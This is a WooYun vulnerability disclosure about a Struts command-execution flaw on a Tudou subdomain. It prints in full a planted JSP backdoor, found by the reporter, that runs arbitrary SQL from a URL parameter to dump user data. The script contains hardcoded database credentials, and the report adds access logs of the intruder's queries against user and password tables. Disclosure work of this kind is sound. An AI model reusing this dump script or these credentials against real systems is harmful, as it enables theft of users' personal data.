当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087017

漏洞标题：土豆某站命令执行发现脱裤脚本/用户数据有风险（附access_log）

相关厂商：土豆网

漏洞作者： 路人甲

提交时间：2014-12-13 16:30

修复时间：2015-01-27 16:30

公开时间：2015-01-27 16:30

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-13： 细节已通知厂商并且等待厂商处理中
2014-12-14： 厂商已经确认，细节仅向厂商公开
2014-12-24： 细节向核心白帽子及相关领域专家公开
2015-01-03： 细节向普通白帽子公开
2015-01-13： 细节向实习白帽子公开
2015-01-27： 细节向公众公开

简要描述：

土豆某站命令执行getshell
发现web目录有一个脚本，查看发现是脱裤脚本用户数据有风险

详细说明：

http://exhibitcar.tudou.com/ struts命令执行

Snip20141213_1.png


getshell

Snip20141213_2.png


web目录发现一个t.jsp
打开后发现是脱裤脚本，代码如下

<%@ page contentType="text/html;charset=GB2312"%>
<%@ page language="java" import="java.sql.*"%>
<%@ page language="java" import="java.io.*"%>
<%
session.setMaxInactiveInterval(60*30);
String mySqlDriver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://10.108.16.81/toodou?useUnicode=true&characterEncoding=gbk&zeroDateTimeBehavior=convertToNull&user=toodouSrvUser&password=td123456passNEW";	//数据库连接
Connection conn;
Class.forName(mySqlDriver);
conn = DriverManager.getConnection( url ,"toodouSrvUser", "td123456passNEW" );	//用户名与密码
if( conn == null){
	System.out.println("get Conn Error");
}
Statement stmt=conn.createStatement();
ResultSet rs=null;
String params= request.getParameter("s");
rs = stmt.executeQuery(params);
ResultSetMetaData d = rs.getMetaData();
//String path = request.getRealPath("/");
//OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(this.getServletContext().getRealPath("/") + "/js/9000W-9100W.txt"), "GBK");
//BufferedWriter fw = new BufferedWriter(osw);
String UserID = "";
String MobileNumber = "";
String Password = "";
String EmailAddress = "";
String LASTLOGINIP = "";
String PasswordQuestion = "";
String PasswordAnswer = "";
String RegisterTime = "";
String Tmp = "";
String Tmp1 = "";
for (int i = 1; i <= d.getColumnCount(); i++) {
		Tmp = Tmp + String.valueOf(d.getColumnName(i)) + "~|^";
}
while( rs.next() ){
	
	for (int i = 1; i <= d.getColumnCount(); i++) {
		Tmp1 = Tmp1 + String.valueOf( rs.getObject(d.getColumnName(i)) ).trim() + "~|^";
	}
	Tmp1 = Tmp1 + "\r\n";
	
	//fw.write(UserID+"~|^"+MobileNumber+"~|^"+Password+"~|^"+EmailAddress+"~|^"+LASTLOGINIP+"~|^"+PasswordQuestion+"~|^"+PasswordAnswer+"~|^"+RegisterTime+"\r\n");
}
out.println(Tmp + "\r\n" + Tmp1);
%>


并且主库还可以链接，应该是被渗透后找到的配置，然后在这里写的脱裤脚本

漏洞证明：

Snip20141213_3.png


Snip20141213_4.png


脚本创建时间今年九月，看accesslog可以看到具体操作。
<code>
[/home/app_admin/logs/]$ cat * | grep t.jsp
01:26:07.557 121.78.118.207#1507#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:27:57.792 121.78.118.207#158#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:41:34.108 121.78.118.207#208#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:48:53.168 121.78.118.207#198#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:49:46.730 121.78.118.207#192#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:49:58.972 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:52:07.748 121.78.118.207#53467#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
01:54:18.472 121.78.118.207#152#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10
01:54:18.731 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10
01:54:27.080 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10
01:54:49.903 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:55:33.016 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:55:45.629 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20count(userID)%20from%20user%20where%20email%20=%20%[email protected]%22
01:55:55.694 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20count(userID)%20from%20user%20where%20email%20=%20%[email protected]%22
01:55:59.836 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20count(userID)%20from%20user%20where%20email%20=%20%[email protected]%22
01:56:35.297 121.78.118.207#27300#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20count(userID)%20from%20user%20
01:58:35.291 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:59:14.788 121.78.118.207#138#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%20userID%20desc%20limit%200,100
02:03:51.321 121.78.118.207#196#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%20userID%20asc%20limit%200,100
18:22:22.298 121.78.118.207#51#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null
18:24:24.781 121.78.118.207#39#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
18:24:53.626 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20limit%200,1
18:24:57.406 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20limit%200,1?s=select%20*%20from%20user%20limit%200,100
18:25:05.017 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20limit%200,1?s=select%20*%20from%20user%20limit%200,1000
18:25:19.745 121.78.118.207#175#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20limit%200,100
18:25:33.486 121.78.118.207#4886#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20limit%200,1000
18:44:46.716 121.78.118.207#36#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_user_member%20limit%200,10
21:02:09.941 121.78.118.207#33#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_subject%20limit%200,10
21:03:25.573 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_subject%20%20order%20by%201%20desc%20limit%200,10
21:04:08.978 121.78.118.207#90#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_user_guest%20%20order%20by%201%20desc%20limit%200,10
21:04:30.294 121.78.118.207#23#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_subject_item%20%20order%20by%201%20desc%20limit%200,10
21:04:47.510 121.78.118.207#95#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_subscribe%20%20order%20by%201%20desc%20limit%200,10
21:05:12.656 121.78.118.207#52#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_item_index%20%20order%20by%201%20desc%20limit%200,10
21:05:36.403 121.78.118.207#67#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_event_user%20%20order%20by%201%20desc%20limit%200,10
21:05:47.803 121.78.118.207#64#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_event_info%20%20order%20by%201%20desc%20limit%200,10
21:06:16.373 121.78.118.207#42#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20td_director%20order%20by%201%20desc%20limit%200,10
23:16:14.077 112.90.78.25#3958#/autochina10/t.jsp#Mozilla/4.0#http://exhibitcar.tudou.com/t.jsp?s=select%20*%20from%20user%20limit%200,1000#s=select%20*%20from%20user%20limit%200,1000
23:17:13.179 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10
23:17:17.664 112.90.11.79#16#/autochina10/t.jsp#Mozilla/4.0#http://exhibitcar.tudou.com/t.jsp?s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10
23:19:47.986 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10&qq-pf-to=pcqq.c2c
23:19:53.712 59.53.88.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36#null#s=select%20*%20from%20user%20order%20by%201%20desc%20limit%200,10
02:04:33.914 59.53.88.207#37#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36#null#s=Select%20*%20From%20user0306%20order%20by%20userID%20desc%20limit%202
02:04:43.807 59.53.88.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36#null#s=Select%20*%20From%20user%20order%20by%20userID%20desc%20limit%202
02:04:58.884 59.53.88.207#131#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36#null#s=Select%20*%20From%20test.user0306%20order%20by%20userID%20desc%20limit%202
02:08:37.783 59.53.88.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36#null#s=CREATE%20TABLE%20test.`user1`%20(`userID`%20int(10)%20unsigned%20NOT%20NULL%20AUTO_INCREMENT,`username`%20varchar(20)%20NOT%20NULL%20DEFAULT%20%27%27,`password`%20varchar(32)%20NOT%20NULL%20DEFAULT%20%27%27,`nickname`%20varchar(100)%20NOT%20NULL%20DEFAULT%20%27%27,`email`%20varchar(200)%20NOT%20NULL%20DEFAULT%20%27%27,`sex`%20char(1)%20NOT%20NULL%20DEFAULT%20%27U%27,`MSN`%20varchar(200)%20DEFAULT%20NULL,`QQ`%20varchar(200)%20DEFAULT%20NULL,`mobile`%20varchar(11)%20DEFAULT%20NULL,`birthday`%20varchar(10)%20DEFAULT%20NULL,`regdate`%20datetime%20DEFAULT%20NULL,`ip`%20varchar(15)%20DEFAULT%20NULL,PRIMARY%20KEY%20(`userID`))%20ENGINE=MyISAM%20DEFAULT%20CHARSET=gbk
11:22:27.586 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null
11:36:22.680 10.108.6.13#23#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,10
11:52:34.363 10.108.6.13#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,10
11:52:41.687 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,10
11:52:53.711 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,10
11:53:12.208 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%20userID%20desc%20limit%200,10
11:54:18.107 10.108.6.13#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,10
11:58:31.248 10.108.6.13#5564#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,1000
12:06:57.203 10.108.6.13#5944#/autochina10/t.jsp#Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,1000
13:58:05.928 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20order%20by%201%20desc%20limit%200,1
17:03:51.626 10.108.6.13#30040#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user
15:07:22.950 10.108.6.13#13#/autochina10/t.jsp#Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.0 Safari/534.20#null
15:09:44.427 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.0 Safari/534.20#http://exhibitcar.tudou.com/t.jsp?s=select#s=select
15:10:27.362 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.0 Safari/534.20#null#s=select%20*%20from%20toodou.user%20where%20userID=6
15:40:42.200 10.108.6.13#25654#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user
20:46:56.457 10.108.6.13#25#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.itudou_group_admin_users
20:47:08.408 10.108.6.13#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.itudou_group_admin_users
20:48:37.379 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20top%2010%20from%20toodou.item_password
20:48:54.144 10.108.6.13#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.item_password%20limit%200,10
20:56:51.371 10.108.6.13#1311#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.item_password
21:02:49.088 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20where%20userid=1882
21:06:47.431 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.item%20limit%200,1
21:16:40.768 10.108.6.13#22184#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.item
21:28:30.818 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.item_password%20limit%200,1
21:32:12.151 10.108.6.13#9#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.hd%20limit%200,1
21:40:31.492 10.108.6.13#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.item_password%20limit%200,10
23:11:35.664 10.108.6.13#73728#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user
23:11:35.666 10.108.6.13#64455#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user
08:59:00.016 10.108.6.13#102#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user%20where%20userID%20between%2012097744%20and%2012272839
09:00:01.681 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user%205900000,100000
09:04:07.276 10.108.6.13#221572#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user%20limit%205900000,100000
09:08:48.221 10.108.6.13#14334#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20*%20from%20toodou.user%20limit%205900000,1
09:16:33.236 10.108.6.13#28077#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36#null#s=select%20count(*)%20from%20toodou.user%20limit%205900000,100000
23:12:56.506 121.78.118.207#33#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
23:13:01.228 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
23:13:11.818 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
23:13:43.147 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
23:18:19.410 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
23:18:26.806 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:48:22.960 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:48:41.014 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:49:18.064 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:49:44.408 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:49:54.072 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:50:04.008 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:50:22.662 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:50:31.444 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:50:41.530 10.108.6.13#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:50:54.116 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:52:03.513 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:52:16.649 10.108.6.13#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:57:44.129 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:58:05.857 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
